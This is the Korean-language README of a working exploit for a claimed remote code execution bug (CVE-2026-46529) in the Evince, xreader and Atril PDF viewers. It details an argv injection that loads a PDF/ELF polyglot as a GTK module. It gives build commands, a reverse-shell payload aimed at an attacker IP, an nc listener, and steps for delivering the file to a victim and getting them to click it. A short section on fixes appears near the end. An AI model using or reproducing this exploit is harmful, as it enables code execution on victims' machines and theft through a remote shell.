
Evince/xreader/Atril RCE 익스플로잇 (CVE-2026-46529)
ev_spawn() (shell/ev-application.c)의 argv 주입에 대한 작동하는 개념 증명입니다. 조작된 PDF의 렌더링된 페이지에서 아무 곳이나 한 번 클릭하면 뷰어를 실행 중인 사용자 권한으로 임의 코드 실행이 트리거됩니다.
이 릴리스는 %f 치환 기법을 사용합니다. dlopen 대상 경로는 런타임에 뷰어 자체가 알아내므로, 공격자는 폴리글로트가 피해자 파일시스템의 어디에 저장되는지 전혀 알 필요가 없습니다 (사용자 이름, $HOME, 다운로드 디렉터리 불필요).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| 파일 | 용도 |
|---|
exploit.sh | 단일 명령으로 컴파일 + 폴리글로트 빌드를 수행하는 원샷 래퍼. |
evil_gtk_module.c | 페이로드 소스. 생성자(constructor)가 리버스 셸을 열고 /tmp/PWNED_atril_<pid>.txt에 마커를 생성합니다. |
build_polyglot.py | 폴리글로트 빌더. 컴파일된 evil.so와 /GoToR 액션 및 %f 스머글링을 포함하는 최소 PDF 본문을 결합합니다. |
피해자의 아키텍처와 일치하는 Linux 호스트에서 빌드해야 합니다.
evil_gtk_module.c는 아키텍처 간에 이식 가능하지만, 결과 ELF는
아키텍처별입니다. macOS는 Apple 링커가 GNU build-id 플래그를
수용하지 않기 때문에 .so를 생성할 수 없습니다.
ev_spawn()은 PDF의 /D(명명된 대상) 및 /F(파일 지정) 문자열을 g_shell_quote 없이 보간하여 spawn 명령줄을 구성합니다. 그 결과는 g_app_info_create_from_commandline → g_shell_parse_argv에 의해 다시 argv로 파싱됩니다. 앞에 공백과 --gtk-module=...이 포함되도록 /D를 조작하면 생성된 자식 뷰어가 --gtk-module=을 독립적인 argv 요소로 전달받게 되며, gtk_init()는 g_module_open()(즉 dlopen)을 통해 이를 처리합니다. 로드된 ELF의 모든 생성자는 피해자 권한으로 실행됩니다.
폴리글로트는 유효한 PDF이면서 동시에 유효한 ELF 공유 라이브러리인 단일 파일입니다. %PDF-1.4 마커는 .note.gnu.build-id SHA1 슬롯(오프셋 0x1d8) 안에 새겨지는데, poppler는 처음 1024바이트에서 매직을 스캔하므로 이를 수용하고 ld.so는 build-id 내용이 정보 제공용이므로 이를 수용합니다.
%f 트릭(이 릴리스)이 마지막 조각을 완성합니다. PDF 내부에 폴리글로트 경로를 하드코딩하는 대신 glib의 %f 자리 표시자를 삽입합니다. glib의 g_app_info_launch_uris는 %f를 atril이 런타임에 g_path_get_dirname(source_uri) + /F.basename을 통해 확인한 URI의 로컬 경로 형태로 치환합니다. 생성된 자식 프로세스의 argv에는 결국 --gtk-module=<actual-runtime-path>가 포함되고, dlopen이 성공하여 RCE가 발생합니다.
/F는 단순한 <basename> 대신 <basename>?1로 설정됩니다. 그 이유는 ev_application_open_uri_at_dest()가 확인된 /F URI가 소스 URI와 같으면 spawn 대신 단락되어 단순히 탐색만 하기 때문입니다. 끝의 쿼리 문자열은 URI를 구별되게 하며, glib의 g_filename_from_uri는 %f를 구성할 때 이를 제거합니다.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
출력: 리버스 셸 대상이 내장된 report.pdf. 동일한 기본 이름(디렉터리는 어디든)으로 피해자에게 배포하고, 리스너를 시작한 다음, 피해자가 atril에서 열고 페이지 아무 곳이나 클릭하게 하세요.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
/F에 포함된 기본 이름은 출력 파일 이름에서 파생되므로 폴리글로트는 report.pdf로 배포되어야 합니다. 디렉터리는 중요하지 않습니다. atril이 %f 치환을 통해 런타임에 전체 경로를 확인하기 때문입니다. Link 주석은 전체 MediaBox를 덮으므로 아무 곳이나 클릭하면 액션이 실행됩니다. 마커 파일도 /tmp/PWNED_atril_<pid>.txt에 기록됩니다.
exploit.sh 옵션-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
크로스 컴파일 예시(x86_64 호스트에서 aarch64 폴리글로트 빌드):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh 없이)각 단계를 완전히 제어하려면:
자신의 IP/포트로 evil.so를 컴파일합니다.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
폴리글로트를 빌드합니다.
python3 build_polyglot.py evil.so <output.pdf>
/F에 포함된 기본 이름은 출력 파일 이름에서 파생됩니다. 동일한 기본 이름으로 피해자에게 폴리글로트를 배포하세요. 디렉터리는 중요하지 않으며, atril이 런타임에 이를 확인합니다.
확인됨:
취약한 코드(ev_spawn 및 /GoToR 열기 경로)는 세 프로그램 모두에서 공유됩니다. evince 업스트림에도 동일한 버그가 있습니다. 최신 evince 빌드의 유일한 차이점은 GTK4가 --gtk-module= 명령줄 플래그를 제거하여 이 특정 dlopen 싱크를 막았다는 것입니다. GTK3으로 빌드된 evince(작성 시점 기준 대부분의 LTS 배포판)는 여전히 취약합니다.
이 버그는 ev_spawn 명령줄 구성이 작성된 2010년대 초반부터 존재해 왔습니다. 수정 방법은 간단합니다. g_string_append_printf 호출 전에 공격자가 제어하는 모든 구성 요소를 g_shell_quote로 감싸거나, argv를 목록으로 g_spawn_async에 전달하도록 변경하면 됩니다(셸 파싱 왕복을 완전히 피할 수 있습니다).
파일 이름 유지. /F에 포함된 기본 이름은 트리거 시점에 폴리글로트가 피해자 디스크에 저장된 파일 이름과 일치해야 합니다. 피해자가 파일을 열기 전에 이름을 바꾸면 atril은 /F를 존재하지 않는 경로로 확인하고 dlopen이 실패합니다.
GTK4. GTK4로 빌드된 최신 evince는 --gtk-module= 명령줄 플래그를 제거하여 이 특정 dlopen 싱크를 막았습니다. argv 주입 자체는 여전히 존재합니다. GTK4가 완화하는 것은 이 특정 악용 경로뿐입니다.
J.Medeiros